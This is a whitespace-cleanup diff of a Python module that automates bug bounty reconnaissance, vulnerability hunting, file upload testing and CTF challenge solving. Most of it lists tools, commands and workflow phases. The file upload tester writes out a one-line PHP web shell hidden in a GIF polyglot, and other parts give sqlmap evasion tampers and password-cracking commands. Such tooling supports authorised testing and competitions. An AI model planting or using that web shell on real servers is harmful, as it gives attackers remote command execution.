     priority_vulns: List[str] = field(default_factory=lambda: ["rce", "sqli", "xss", "idor", "ssrf"])
     bounty_range: str = "unknown"
-    
+
 class BugBountyWorkflowManager:
     """Specialized workflow manager for bug bounty hunting"""
-    
+
     def __init__(self):
         self.high_impact_vulns = {
             "rce": {"priority": 10, "tools": ["nuclei", "jaeles", "sqlmap"], "payloads": "command_injection"},
@@ -2458,7 +2458,7 @@ class BugBountyWorkflowManager:
             "xxe": {"priority": 6, "tools": ["nuclei"], "payloads": "xxe"},
             "csrf": {"priority": 5, "tools": ["nuclei"], "payloads": "csrf"}
         }
-        
+
         self.reconnaissance_tools = [
             {"tool": "amass", "phase": "subdomain_enum", "priority": 1},
             {"tool": "subfinder", "phase": "subdomain_enum", "priority": 2},
@@ -2469,7 +2469,7 @@ class BugBountyWorkflowManager:
             {"tool": "paramspider", "phase": "parameter_discovery", "priority": 7},
             {"tool": "arjun", "phase": "parameter_discovery", "priority": 8}
         ]
-    
+
     def create_reconnaissance_workflow(self, target: BugBountyTarget) -> Dict[str, Any]:
         """Create comprehensive reconnaissance workflow for bug bounty"""
         workflow = {
@@ -2478,7 +2478,7 @@ class BugBountyWorkflowManager:
             "estimated_time": 0,
             "tools_count": 0
         }
-        
+
         # Phase 1: Subdomain Discovery
         subdomain_phase = {
             "name": "subdomain_discovery",
@@ -2492,7 +2492,7 @@ class BugBountyWorkflowManager:
             "estimated_time": 300
         }
         workflow["phases"].append(subdomain_phase)
-        
+
         # Phase 2: HTTP Service Discovery
         http_phase = {
             "name": "http_service_discovery",
@@ -2505,7 +2505,7 @@ class BugBountyWorkflowManager:
             "estimated_time": 180
         }
         workflow["phases"].append(http_phase)
-        
+
         # Phase 3: Content Discovery
         content_phase = {
             "name": "content_discovery",
@@ -2520,7 +2520,7 @@ class BugBountyWorkflowManager:
             "estimated_time": 600
         }
         workflow["phases"].append(content_phase)
-        
+
         # Phase 4: Parameter Discovery
         param_phase = {
             "name": "parameter_discovery",
@@ -2534,13 +2534,13 @@ class BugBountyWorkflowManager:
             "estimated_time": 240
         }
         workflow["phases"].append(param_phase)
-        
+
         # Calculate totals
         workflow["estimated_time"] = sum(phase["estimated_time"] for phase in workflow["phases"])
         workflow["tools_count"] = sum(len(phase["tools"]) for phase in workflow["phases"])
-        
+
         return workflow
-    
+
     def create_vulnerability_hunting_workflow(self, target: BugBountyTarget) -> Dict[str, Any]:
         """Create vulnerability hunting workflow prioritized by impact"""
         workflow = {
@@ -2549,16 +2549,16 @@ class BugBountyWorkflowManager:
             "estimated_time": 0,
             "priority_score": 0
         }
-        
+
         # Sort vulnerabilities by priority
-        sorted_vulns = sorted(target.priority_vulns, 
-                            key=lambda v: self.high_impact_vulns.get(v, {}).get("priority", 0), 
+        sorted_vulns = sorted(target.priority_vulns,
+                            key=lambda v: self.high_impact_vulns.get(v, {}).get("priority", 0),
                             reverse=True)
-        
+
         for vuln_type in sorted_vulns:
             if vuln_type in self.high_impact_vulns:
                 vuln_config = self.high_impact_vulns[vuln_type]
-                
+
                 vuln_test = {
                     "vulnerability_type": vuln_type,
                     "priority": vuln_config["priority"],
@@ -2567,13 +2567,13 @@ class BugBountyWorkflowManager:
                     "test_scenarios": self._get_test_scenarios(vuln_type),
                     "estimated_time": vuln_config["priority"] * 30  # Higher priority = more time
                 }
-                
+
                 workflow["vulnerability_tests"].append(vuln_test)
                 workflow["estimated_time"] += vuln_test["estimated_time"]
                 workflow["priority_score"] += vuln_config["priority"]
-        
+
         return workflow
-    
+
     def _get_test_scenarios(self, vuln_type: str) -> List[Dict[str, Any]]:
         """Get specific test scenarios for vulnerability types"""
         scenarios = {
@@ -2603,9 +2603,9 @@ class BugBountyWorkflowManager:
                 {"name": "Encoded IDOR", "payloads": ["id=MQ==", "id=Mg=="]}  # base64 encoded 1,2
             ]
         }
-        
+
         return scenarios.get(vuln_type, [])
-    
+
     def create_business_logic_testing_workflow(self, target: BugBountyTarget) -> Dict[str, Any]:
         """Create business logic testing workflow"""
         workflow = {
@@ -2649,9 +2649,9 @@ class BugBountyWorkflowManager:
             "estimated_time": 480,  # 8 hours for thorough business logic testing
             "manual_testing_required": True
         }
-        
+
         return workflow
-    
+
     def create_osint_workflow(self, target: BugBountyTarget) -> Dict[str, Any]:
         """Create OSINT gathering workflow"""
         workflow = {
@@ -2693,12 +2693,12 @@ class BugBountyWorkflowManager:
             "estimated_time": 240,
             "intelligence_types": ["technical", "social", "business", "infrastructure"]
         }
-        
+
         return workflow
 
 class FileUploadTestingFramework:
     """Specialized framework for file upload vulnerability testing"""
-    
+
     def __init__(self):
         self.malicious_extensions = [
             ".php", ".php3", ".php4", ".php5", ".phtml", ".pht",
@@ -2706,7 +2706,7 @@ class FileUploadTestingFramework:
             ".py", ".rb", ".pl", ".cgi",
             ".sh", ".bat", ".cmd", ".exe"
         ]
-        
+
         self.bypass_techniques = [
             "double_extension",
             "null_byte",
@@ -2715,7 +2715,7 @@ class FileUploadTestingFramework:
             "case_variation",
             "special_characters"
         ]
-    
+
     def generate_test_files(self) -> Dict[str, Any]:
         """Generate various test files for upload testing"""
         test_files = {
@@ -2734,9 +2734,9 @@ class FileUploadTestingFramework:
                 {"name": "polyglot.jpg", "content": "GIF89a<?php system($_GET['cmd']); ?>", "technique": "image_polyglot"}
             ]
         }
-        
+
         return test_files
-    
+
     def create_upload_testing_workflow(self, target_url: str) -> Dict[str, Any]:
         """Create comprehensive file upload testing workflow"""
         workflow = {
@@ -2769,7 +2769,7 @@ class FileUploadTestingFramework:
             "estimated_time": 360,
             "risk_level": "high"
         }
-        
+
         return workflow
 
 # Global bug bounty workflow manager
@@ -2794,7 +2794,7 @@ class CTFChallenge:
 
 class CTFWorkflowManager:
     """Specialized workflow manager for CTF competitions"""
-    
+
     def __init__(self):
         self.category_tools = {
             "web": {
@@ -2847,7 +2847,7 @@ class CTFWorkflowManager:
                 "geolocation": ["geoint", "osm-analysis", "satellite-imagery"]
             }
         }
-        
+
         self.solving_strategies = {
             "web": [
                 {"strategy": "source_code_analysis", "description": "Analyze HTML/JS source for hidden information"},
@@ -2891,7 +2891,7 @@ class CTFWorkflowManager:
                 {"strategy": "key_recovery", "description": "Extract encryption keys from binaries"}
             ]
         }
-    
+
     def create_ctf_challenge_workflow(self, challenge: CTFChallenge) -> Dict[str, Any]:
         """Create advanced specialized workflow for CTF challenge with AI-powered optimization"""
         workflow = {
@@ -2911,17 +2911,17 @@ class CTFWorkflowManager:
             "expected_artifacts": [],
             "validation_steps": []
         }
-        
+
         # Enhanced tool selection using CTFToolManager
         ctf_tool_manager = CTFToolManager()
         workflow["tools"] = ctf_tool_manager.suggest_tools_for_challenge(challenge.description, challenge.category)
-        
+
         # Get category-specific strategies with enhanced intelligence
         if challenge.category in self.solving_strategies:
             workflow["strategies"] = self.solving_strategies[challenge.category]
             # Add fallback strategies for robustness
             workflow["fallback_strategies"] = self._generate_fallback_strategies(challenge.category)
-        
+
         # Advanced time estimation with machine learning-like scoring
         base_times = {
             "easy": {"min": 15, "avg": 30, "max": 60},
@@ -2930,7 +2930,7 @@ class CTFWorkflowManager:
             "insane": {"min": 120, "avg": 240, "max": 480},
             "unknown": {"min": 45, "avg": 90, "max": 180}
         }
-        
+
         # Factor in category complexity
         category_multipliers = {
             "web": 1.0,
@@ -2941,16 +2941,16 @@ class CTFWorkflowManager:
             "misc": 0.8,
             "osint": 0.9
         }
-        
+
         base_time = base_times[challenge.difficulty]["avg"]
         category_mult = category_multipliers.get(challenge.category, 1.0)
-        
+
         # Adjust based on description complexity
         description_complexity = self._analyze_description_complexity(challenge.description)
         complexity_mult = 1.0 + (description_complexity * 0.3)
-        
+
         workflow["estimated_time"] = int(base_time * category_mult * complexity_mult * 60)  # Convert to seconds
-        
+
         # Enhanced success probability calculation
         base_success = {
             "easy": 0.85,
@@ -2959,31 +2959,31 @@ class CTFWorkflowManager:
             "insane": 0.25,
             "unknown": 0.55
         }[challenge.difficulty]
-        
+
         # Adjust based on tool availability and category expertise
         tool_availability_bonus = min(0.15, len(workflow["tools"]) * 0.02)
         workflow["success_probability"] = min(0.95, base_success + tool_availability_bonus)
-        
+
         # Add advanced workflow components
         workflow["workflow_steps"] = self._create_advanced_category_workflow(challenge)
         workflow["parallel_tasks"] = self._identify_parallel_tasks(challenge.category)
         workflow["resource_requirements"] = self._calculate_resource_requirements(challenge)
         workflow["expected_artifacts"] = self._predict_expected_artifacts(challenge)
         workflow["validation_steps"] = self._create_validation_steps(challenge.category)
-        
+
         return workflow
-    
+
     def _select_tools_for_challenge(self, challenge: CTFChallenge, category_tools: Dict[str, List[str]]) -> List[str]:
         """Select appropriate tools based on challenge details"""
         selected_tools = []
-        
+
         # Always include reconnaissance tools for the category
         if "reconnaissance" in category_tools:
             selected_tools.extend(category_tools["reconnaissance"][:2])  # Top 2 recon tools
-        
+
         # Add specialized tools based on challenge description
         description_lower = challenge.description.lower()
-        
+
         if challenge.category == "web":
             if any(keyword in description_lower for keyword in ["sql", "injection", "database"]):
                 selected_tools.append("sqlmap")
@@ -2993,7 +2993,7 @@ class CTFWorkflowManager:
                 selected_tools.append("wpscan")
             if any(keyword in description_lower for keyword in ["upload", "file"]):
                 selected_tools.extend(["gobuster", "feroxbuster"])
-        
+
         elif challenge.category == "crypto":
             if any(keyword in description_lower for keyword in ["hash", "md5", "sha"]):
                 selected_tools.extend(["hashcat", "john"])
@@ -3001,14 +3001,14 @@ class CTFWorkflowManager:
                 selected_tools.extend(["rsatool", "factordb"])
             if any(keyword in description_lower for keyword in ["cipher", "encrypt"]):
                 selected_tools.extend(["cipher-identifier", "cyberchef"])
-        
+
         elif challenge.category == "pwn":
             selected_tools.extend(["checksec", "ghidra", "pwntools"])
             if any(keyword in description_lower for keyword in ["heap", "malloc"]):
                 selected_tools.append("glibc-heap-analysis")
             if any(keyword in description_lower for keyword in ["format", "printf"]):
                 selected_tools.append("format-string-exploiter")
-        
+
         elif challenge.category == "forensics":
             if any(keyword in description_lower for keyword in ["image", "jpg", "png"]):
                 selected_tools.extend(["exiftool", "steghide", "stegsolve"])
@@ -3016,15 +3016,15 @@ class CTFWorkflowManager:
                 selected_tools.append("volatility")
             if any(keyword in description_lower for keyword in ["network", "pcap"]):
                 selected_tools.extend(["wireshark", "tcpdump"])
-        
+
         elif challenge.category == "rev":
             selected_tools.extend(["ghidra", "radare2", "strings"])
             if any(keyword in description_lower for keyword in ["packed", "upx"]):
                 selected_tools.extend(["upx", "peid"])
-        
+
         # Remove duplicates while preserving order
         return list(dict.fromkeys(selected_tools))
-    
+
     def _create_category_workflow(self, challenge: CTFChallenge) -> List[Dict[str, Any]]:
         """Create category-specific workflow steps"""
         workflows = {
@@ -3069,7 +3069,7 @@ class CTFWorkflowManager:
                 {"step": 6, "action": "flag_generation", "description": "Generate or extract the flag"}
             ]
         }
-        
+
         return workflows.get(challenge.category, [
             {"step": 1, "action": "analysis", "description": "Analyze the challenge"},
             {"step": 2, "action": "research", "description": "Research relevant techniques"},
@@ -3078,7 +3078,7 @@ class CTFWorkflowManager:
             {"step": 5, "action": "refinement", "description": "Refine approach if needed"},
             {"step": 6, "action": "flag_submission", "description": "Submit the flag"}
         ])
-    
+
     def create_ctf_team_strategy(self, challenges: List[CTFChallenge], team_size: int = 4) -> Dict[str, Any]:
         """Create team strategy for CTF competition"""
         strategy = {
@@ -3088,7 +3088,7 @@ class CTFWorkflowManager:
             "estimated_total_time": 0,
             "expected_score": 0
         }
-        
+
         # Sort challenges by points/time ratio for optimal strategy
         challenge_efficiency = []
         for challenge in challenges:
@@ -3099,19 +3099,19 @@ class CTFWorkflowManager:
                 "efficiency": efficiency,
                 "workflow": workflow
             })
-        
+
         # Sort by efficiency (highest first)
         challenge_efficiency.sort(key=lambda x: x["efficiency"], reverse=True)
-        
+
         # Allocate challenges to team members
         team_workload = [0] * team_size
         for i, item in enumerate(challenge_efficiency):
             # Assign to team member with least workload
             team_member = team_workload.index(min(team_workload))
-            
+
             if team_member not in strategy["challenge_allocation"]:
                 strategy["challenge_allocation"][team_member] = []
-            
+
             strategy["challenge_allocation"][team_member].append({
                 "challenge": item["challenge"].name,
                 "category": item["challenge"].category,
@@ -3119,15 +3119,15 @@ class CTFWorkflowManager:
                 "estimated_time": item["workflow"]["estimated_time"],
                 "success_probability": item["workflow"]["success_probability"]
             })
-            
+
             team_workload[team_member] += item["workflow"]["estimated_time"]
             strategy["expected_score"] += item["challenge"].points * item["workflow"]["success_probability"]
-        
+
         strategy["estimated_total_time"] = max(team_workload)
         strategy["priority_order"] = [item["challenge"].name for item in challenge_efficiency]
-        
+
         return strategy
-    
+
     def _generate_fallback_strategies(self, category: str) -> List[Dict[str, str]]:
         """Generate fallback strategies for when primary approaches fail"""
         fallback_strategies = {
@@ -3182,18 +3182,18 @@ class CTFWorkflowManager:
             ]
         }
         return fallback_strategies.get(category, [])
-    
+
     def _analyze_description_complexity(self, description: str) -> float:
         """Analyze challenge description complexity to adjust time estimates"""
         complexity_score = 0.0
         description_lower = description.lower()
-        
+
         # Length-based complexity
         if len(description) > 500:
             complexity_score += 0.3
         elif len(description) > 200:
             complexity_score += 0.1
-        
+
         # Technical term density
         technical_terms = [
             "algorithm", "encryption", "decryption", "vulnerability", "exploit",
@@ -3202,17 +3202,17 @@ class CTFWorkflowManager:
             "reverse engineering", "binary analysis", "memory corruption",
             "heap", "stack", "rop", "shellcode", "payload"
         ]
-        
+
         term_count = sum(1 for term in technical_terms if term in description_lower)
         complexity_score += min(0.4, term_count * 0.05)
-        
+
         # Multi-step indicators
         multi_step_indicators = ["first", "then", "next", "after", "finally", "step"]
         step_count = sum(1 for indicator in multi_step_indicators if indicator in description_lower)
         complexity_score += min(0.3, step_count * 0.1)
-        
+
         return min(1.0, complexity_score)
-    
+
     def _create_advanced_category_workflow(self, challenge: CTFChallenge) -> List[Dict[str, Any]]:
         """Create advanced category-specific workflow with parallel execution support"""
         advanced_workflows = {
@@ -3285,7 +3285,7 @@ class CTFWorkflowManager:
                 {"step": 7, "action": "verification", "description": "Verify findings and extract flag", "parallel": False, "tools": ["manual"], "estimated_time": 600}
             ]
         }
-        
+
         return advanced_workflows.get(challenge.category, [
             {"step": 1, "action": "analysis", "description": "Analyze the challenge", "parallel": False, "tools": ["manual"], "estimated_time": 600},
             {"step": 2, "action": "research", "description": "Research relevant techniques", "parallel": False, "tools": ["manual"], "estimated_time": 900},
@@ -3294,7 +3294,7 @@ class CTFWorkflowManager:
             {"step": 5, "action": "refinement", "description": "Refine approach if needed", "parallel": False, "tools": ["manual"], "estimated_time": 900},
             {"step": 6, "action": "flag_submission", "description": "Submit the flag", "parallel": False, "tools": ["manual"], "estimated_time": 300}
         ])
-    
+
     def _identify_parallel_tasks(self, category: str) -> List[Dict[str, Any]]:
         """Identify tasks that can be executed in parallel for efficiency"""
         parallel_tasks = {
@@ -3334,9 +3334,9 @@ class CTFWorkflowManager:
                 {"task_group": "format_analysis", "tasks": ["file", "binwalk"], "max_concurrent": 2}
             ]
         }
-        
+
         return parallel_tasks.get(category, [])
-    
+
     def _calculate_resource_requirements(self, challenge: CTFChallenge) -> Dict[str, Any]:
         """Calculate estimated resource requirements for challenge"""
         base_requirements = {
@@ -3347,7 +3347,7 @@ class CTFWorkflowManager:
             "gpu_required": False,
             "special_tools": []
         }
-        
+
         # Adjust based on category
         category_adjustments = {
             "web": {"cpu_cores": 4, "memory_mb": 4096, "network_bandwidth": "high"},
@@ -3358,10 +3358,10 @@ class CTFWorkflowManager:
             "osint": {"cpu_cores": 2, "memory_mb": 2048, "network_bandwidth": "high"},
             "misc": {"cpu_cores": 2, "memory_mb": 2048}
         }
-        
+
         if challenge.category in category_adjustments:
             base_requirements.update(category_adjustments[challenge.category])
-        
+
         # Adjust based on difficulty
         difficulty_multipliers = {
             "easy": 1.0,
@@ -3370,14 +3370,14 @@ class CTFWorkflowManager:
             "insane": 2.0,
             "unknown": 1.3
         }
-        
+
         multiplier = difficulty_multipliers[challenge.difficulty]
         base_requirements["cpu_cores"] = int(base_requirements["cpu_cores"] * multiplier)
         base_requirements["memory_mb"] = int(base_requirements["memory_mb"] * multiplier)
         base_requirements["disk_space_mb"] = int(base_requirements["disk_space_mb"] * multiplier)
-        
+
         return base_requirements
-    
+
     def _predict_expected_artifacts(self, challenge: CTFChallenge) -> List[Dict[str, str]]:
         """Predict expected artifacts and outputs from challenge solving"""
         artifacts = {
@@ -3431,12 +3431,12 @@ class CTFWorkflowManager:
                 {"type": "intermediate_results", "description": "Intermediate calculation results"}
             ]
         }
-        
+
         return artifacts.get(challenge.category, [
             {"type": "solution_data", "description": "Solution-related data"},
             {"type": "analysis_results", "description": "Analysis results and findings"}
         ])
-    
+
     def _create_validation_steps(self, category: str) -> List[Dict[str, str]]:
         """Create validation steps to verify solution correctness"""
         validation_steps = {
@@ -3483,7 +3483,7 @@ class CTFWorkflowManager:
                 {"step": "flag_extraction", "description": "Extract and validate final flag"}
             ]
         }
-        
+
         return validation_steps.get(category, [
             {"step": "general_validation", "description": "General solution validation"},
             {"step": "flag_verification", "description": "Verify flag format and correctness"}
@@ -3491,7 +3491,7 @@ class CTFWorkflowManager:
 
 class CTFToolManager:
     """Advanced tool manager for CTF challenges with comprehensive tool arsenal"""
-    
+
     def __init__(self):
         self.tool_commands = {
             # Web Application Security Tools
@@ -3507,7 +3507,7 @@ class CTFToolManager:
             "wpscan": "wpscan --url {} --enumerate ap,at,cb,dbe",
             "nikto": "nikto -h {} -C all",
             "whatweb": "whatweb -v -a 3",
-            
+
             # Cryptography Challenge Tools
             "hashcat": "hashcat -m 0 -a 0 --potfile-disable --quiet",
             "john": "john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5",
@@ -3528,7 +3528,7 @@ class CTFToolManager:
             "base32": "base32 -d",
             "hex": "xxd -r -p",
             "rot13": "tr 'A-Za-z' 'N-ZA-Mn-za-m'",
-            
+
             # Binary Exploitation (Pwn) Tools
             "checksec": "checksec --file",
             "pwntools": "python3 -c 'from pwn import *; context.log_level = \"debug\"'",
@@ -3553,7 +3553,7 @@ class CTFToolManager:
             "hexdump": "hexdump -C",
             "pwninit": "pwninit",
             "libc-database": "python3 /opt/libc-database/find.py",
-            
+
             # Forensics Investigation Tools
             "binwalk": "binwalk -e --dd='.*'",
             "foremost": "foremost -i {} -o /tmp/foremost_output",
@@ -3577,7 +3577,7 @@ class CTFToolManager:
             "bulk-extractor": "bulk_extractor -o /tmp/bulk_output",
             "ddrescue": "ddrescue",
             "dc3dd": "dc3dd",
-            
+
             # Reverse Engineering Tools
             "ida": "ida64",
             "ida-free": "ida64 -A",
@@ -3596,7 +3596,7 @@ class CTFToolManager:
             "dnspy": "dnspy",
             "ilspy": "ilspy",
             "dotpeek": "dotpeek",
-            
+
             # OSINT and Reconnaissance Tools
             "sherlock": "sherlock",
             "social-analyzer": "social-analyzer",
@@ -3619,7 +3619,7 @@ class CTFToolManager:
             "waybackurls": "waybackurls",
             "gau": "gau",
             "httpx-osint": "httpx -title -tech-detect -status-code",
-            
+
             # Miscellaneous Challenge Tools
             "qr-decoder": "zbarimg",
             "barcode-decoder": "zbarimg",
@@ -3640,7 +3640,7 @@ class CTFToolManager:
             "xz": "unxz",
             "lzma": "unlzma",
             "compress": "uncompress",
-            
+
             # Modern Web Technologies
             "jwt-tool": "python3 /opt/jwt_tool/jwt_tool.py",
             "jwt-cracker": "jwt-cracker",
@@ -3650,7 +3650,7 @@ class CTFToolManager:
             "burpsuite": "java -jar /opt/burpsuite/burpsuite.jar",
             "owasp-zap": "zap.sh -cmd",
             "websocket-king": "python3 /opt/websocket-king/ws_test.py",
-            
+
             # Cloud and Container Security
             "docker": "docker",
             "kubectl": "kubectl",
@@ -3659,7 +3659,7 @@ class CTFToolManager:
             "gcloud": "gcloud",
             "terraform": "terraform",
             "ansible": "ansible",
-            
+
             # Mobile Application Security
             "adb": "adb",
             "frida": "frida",
@@ -3668,7 +3668,7 @@ class CTFToolManager:
             "apkleaks": "apkleaks -f",
             "qark": "qark --apk"
         }
-        
+
         # Tool categories for intelligent selection
         self.tool_categories = {
             "web_recon": ["httpx", "katana", "waybackurls", "gau", "whatweb"],
@@ -3697,11 +3697,11 @@ class CTFToolManager:
             "misc_compression": ["zip", "7zip", "rar", "tar"],
             "misc_esoteric": ["brainfuck", "whitespace", "piet", "malbolge"]
         }
-    
+
     def get_tool_command(self, tool: str, target: str, additional_args: str = "") -> str:
         """Get optimized command for CTF tool with intelligent parameter selection"""
         base_command = self.tool_commands.get(tool, tool)
-        
+
         # Add intelligent parameter optimization based on tool type
         if tool in ["hashcat", "john"]:
             # For hash cracking, add common wordlists and rules
@@ -3709,14 +3709,14 @@ class CTFToolManager:
                 base_command += " --wordlist=/usr/share/wordlists/rockyou.txt"
             if tool == "hashcat" and "--rules" not in base_command:
                 base_command += " --rules-file=/usr/share/hashcat/rules/best64.rule"
-        
+
         elif tool in ["sqlmap"]:
             # For SQL injection, add tamper scripts and optimization
             if "--tamper" not in base_command:
                 base_command += " --tamper=space2comment,charencode,randomcase"
             if "--threads" not in base_command:
                 base_command += " --threads=5"
-        
+
         elif tool in ["gobuster", "dirsearch", "feroxbuster"]:
             # For directory brute forcing, optimize threads and extensions
             if tool == "gobuster" and "-t" not in base_command:
@@ -3725,25 +3725,25 @@ class CTFToolManager:
                 base_command += " -t 50"
             elif tool == "feroxbuster" and "-t" not in base_command:
                 base_command += " -t 50"
-        
+
         if additional_args:
             return f"{base_command} {additional_args} {target}"
         else:
             return f"{base_command} {target}"
-    
+
     def get_category_tools(self, category: str) -> List[str]:
         """Get all tools for a specific category"""
         return self.tool_categories.get(category, [])
-    
+
     def suggest_tools_for_challenge(self, challenge_description: str, category: str) -> List[str]:
         """Suggest optimal tools based on challenge description and category"""
         suggested_tools = []
         description_lower = challenge_description.lower()
-        
+
         # Category-based tool suggestions
         if category == "web":
             suggested_tools.extend(self.tool_categories["web_recon"][:2])
-            
+
             if any(keyword in description_lower for keyword in ["sql", "injection", "database", "mysql", "postgres"]):
                 suggested_tools.extend(["sqlmap", "hash-identifier"])
             if any(keyword in description_lower for keyword in ["xss", "script", "javascript", "dom"]):
@@ -3758,7 +3758,7 @@ class CTFToolManager:
                 suggested_tools.append("jwt-tool")
             if any(keyword in description_lower for keyword in ["graphql", "api"]):
                 suggested_tools.append("graphql-voyager")
-                
+
         elif category == "crypto":
             if any(keyword in description_lower for keyword in ["hash", "md5", "sha", "password"]):
                 suggested_tools.extend(["hashcat", "john", "hash-identifier"])
@@ -3774,10 +3774,10 @@ class CTFToolManager:
                 suggested_tools.append("rot13")
             if any(keyword in description_lower for keyword in ["pgp", "gpg", "signature"]):
                 suggested_tools.append("gpg")
-                
+
         elif category == "pwn":
             suggested_tools.extend(["checksec", "file", "strings"])
-            
+
             if any(keyword in description_lower for keyword in ["buffer", "overflow", "bof"]):
                 suggested_tools.extend(["pwntools", "gdb-peda", "ropper"])
             if any(keyword in description_lower for keyword in ["format", "printf", "string"]):
@@ -3790,7 +3790,7 @@ class CTFToolManager:
                 suggested_tools.extend(["pwntools", "one-gadget"])
             if any(keyword in description_lower for keyword in ["canary", "stack", "protection"]):
                 suggested_tools.extend(["checksec", "pwntools"])
-                
+
         elif category == "forensics":
             if any(keyword in description_lower for keyword in ["image", "jpg", "png", "gif", "steganography"]):
                 suggested_tools.extend(["exiftool", "steghide", "stegsolve", "zsteg"])
@@ -3804,10 +3804,10 @@ class CTFToolManager:
                 suggested_tools.extend(["testdisk", "sleuthkit"])
             if any(keyword in description_lower for keyword in ["audio", "wav", "mp3", "sound"]):
                 suggested_tools.extend(["audacity", "sonic-visualizer"])
-                
+
         elif category == "rev":
             suggested_tools.extend(["file", "strings", "objdump"])
-            
+
             if any(keyword in description_lower for keyword in ["packed", "upx", "packer"]):
                 suggested_tools.extend(["upx", "peid", "detect-it-easy"])
             if any(keyword in description_lower for keyword in ["android", "apk", "mobile"]):
@@ -3820,7 +3820,7 @@ class CTFToolManager:
                 suggested_tools.extend(["ghidra", "ida", "x64dbg"])
             if any(keyword in description_lower for keyword in ["linux", "elf", "binary"]):
                 suggested_tools.extend(["ghidra", "radare2", "gdb-peda"])
-                
+
         elif category == "osint":
             if any(keyword in description_lower for keyword in ["username", "social", "media"]):
                 suggested_tools.extend(["sherlock", "social-analyzer"])
@@ -3832,7 +3832,7 @@ class CTFToolManager:
                 suggested_tools.extend(["shodan", "censys"])
             if any(keyword in description_lower for keyword in ["whois", "registration", "owner"]):
                 suggested_tools.append("whois")
-                
+
         elif category == "misc":
             if any(keyword in description_lower for keyword in ["qr", "barcode", "code"]):
                 suggested_tools.append("qr-decoder")
@@ -3844,7 +3844,7 @@ class CTFToolManager:
                 suggested_tools.append("whitespace")
             if any(keyword in description_lower for keyword in ["piet", "image", "program"]):
                 suggested_tools.append("piet")
-        
+
         # Remove duplicates while preserving order
         return list(dict.fromkeys(suggested_tools))
 
@@ -3854,13 +3854,13 @@ class CTFToolManager:
 
 class CTFChallengeAutomator:
     """Advanced automation system for CTF challenge solving"""
-    
+
     def __init__(self):
         self.active_challenges = {}
         self.solution_cache = {}
         self.learning_database = {}
         self.success_patterns = {}
-        
+
     def auto_solve_challenge(self, challenge: CTFChallenge) -> Dict[str, Any]:
         """Attempt to automatically solve a CTF challenge"""
         result = {
@@ -3874,48 +3874,48 @@ class CTFChallengeAutomator:
             "flag_candidates": [],
             "next_actions": []
         }
-        
+
         try:
             # Create workflow
             workflow = ctf_manager.create_ctf_challenge_workflow(challenge)
-            
+
             # Execute automated steps
             for step in workflow["workflow_steps"]:
                 if step.get("parallel", False):
                     step_result = self._execute_parallel_step(step, challenge)
                 else:
                     step_result = self._execute_sequential_step(step, challenge)
-                
+
                 result["automated_steps"].append(step_result)
-                
+
                 # Check for flag candidates
                 flag_candidates = self._extract_flag_candidates(step_result.get("output", ""))
                 result["flag_candidates"].extend(flag_candidates)
-                
+
                 # Update confidence based on step success
                 if step_result.get("success", False):
                     result["confidence"] += 0.1
-                
+
                 # Early termination if flag found
                 if flag_candidates and self._validate_flag_format(flag_candidates[0]):
                     result["status"] = "solved"
                     result["flag"] = flag_candidates[0]
                     break
-            
+
             # If not solved automatically, provide manual guidance
             if result["status"] != "solved":
                 result["manual_steps"] = self._generate_manual_guidance(challenge, result)
                 result["status"] = "needs_manual_intervention"
-            
+
             result["confidence"] = min(1.0, result["confidence"])
-            
+
         except Exception as e:
             result["status"] = "error"
             result["error"] = str(e)
             logger.error(f"Error in auto-solve for {challenge.name}: {str(e)}")
-        
+
         return result
-    
+
     def _execute_parallel_step(self, step: Dict[str, Any], challenge: CTFChallenge) -> Dict[str, Any]:
         """Execute a step with parallel tool execution"""
         step_result = {
@@ -3927,10 +3927,10 @@ class CTFChallengeAutomator:
             "execution_time": 0,
             "artifacts": []
         }
-        
+
         start_time = time.time()
         tools = step.get("tools", [])
-        
+
         # Execute tools in parallel (simulated for now)
         for tool in tools:
             try:
@@ -3942,10 +3942,10 @@ class CTFChallengeAutomator:
                     step_result["success"] = True
             except Exception as e:
                 step_result["output"] += f"[{tool}] Error: {str(e)}\n"
-        
+
         step_result["execution_time"] = time.time() - start_time
         return step_result
-    
+
     def _execute_sequential_step(self, step: Dict[str, Any], challenge: CTFChallenge) -> Dict[str, Any]:
         """Execute a step sequentially"""
         step_result = {
@@ -3957,10 +3957,10 @@ class CTFChallengeAutomator:
             "execution_time": 0,
             "artifacts": []
         }
-        
+
         start_time = time.time()
         tools = step.get("tools", [])
-        
+
         for tool in tools:
             try:
                 if tool == "manual":
@@ -3976,10 +3976,10 @@ class CTFChallengeAutomator:
                     step_result["success"] = True
             except Exception as e:
                 step_result["output"] += f"[{tool}] Error: {str(e)}\n"
-        
+
         step_result["execution_time"] = time.time() - start_time
         return step_result
-    
+
     def _extract_flag_candidates(self, output: str) -> List[str]:
         """Extract potential flags from tool output"""
         flag_patterns = [
@@ -3992,14 +3992,14 @@ class CTFChallengeAutomator:
             r'[0-9a-f]{40}',  # SHA1 hash
             r'[0-9a-f]{64}'   # SHA256 hash
         ]
-        
+
         candidates = []
         for pattern in flag_patterns:
             matches = re.findall(pattern, output, re.IGNORECASE)
             candidates.extend(matches)
-        
+
         return list(set(candidates))  # Remove duplicates
-    
+
     def _validate_flag_format(self, flag: str) -> bool:
         """Validate if a string matches common flag formats"""
         common_formats = [
@@ -4009,32 +4009,32 @@ class CTFChallengeAutomator:
             r'^CTF\{.+\}$',
             r'^[a-zA-Z0-9_]+\{.+\}$'
         ]
-        
+
         for pattern in common_formats:
             if re.match(pattern, flag, re.IGNORECASE):
                 return True
-        
+
         return False
-    
+
     def _generate_manual_guidance(self, challenge: CTFChallenge, current_result: Dict[str, Any]) -> List[Dict[str, str]]:
         """Generate manual guidance when automation fails"""
         guidance = []
-        
+
         # Analyze what was attempted
         attempted_tools = []
         for step in current_result["automated_steps"]:
             attempted_tools.extend(step.get("tools_used", []))
-        
+
         # Suggest alternative approaches
         all_category_tools = ctf_tools.get_category_tools(f"{challenge.category}_recon")
         unused_tools = [tool for tool in all_category_tools if tool not in attempted_tools]
-        
+
         if unused_tools:
             guidance.append({
                 "action": "try_alternative_tools",
                 "description": f"Try these alternative tools: {', '.join(unused_tools[:3])}"
             })
-        
+
         # Category-specific guidance
         if challenge.category == "web":
             guidance.extend([
@@ -4066,18 +4066,18 @@ class CTFChallengeAutomator:
                 {"action": "key_extraction", "description": "Extract hardcoded keys or important values"},
                 {"action": "dynamic_analysis", "description": "Use dynamic analysis to understand runtime behavior"}
             ])
-        
+
         return guidance
 
 class CTFTeamCoordinator:
     """Coordinate team efforts in CTF competitions"""
-    
+
     def __init__(self):
         self.team_members = {}
         self.challenge_assignments = {}
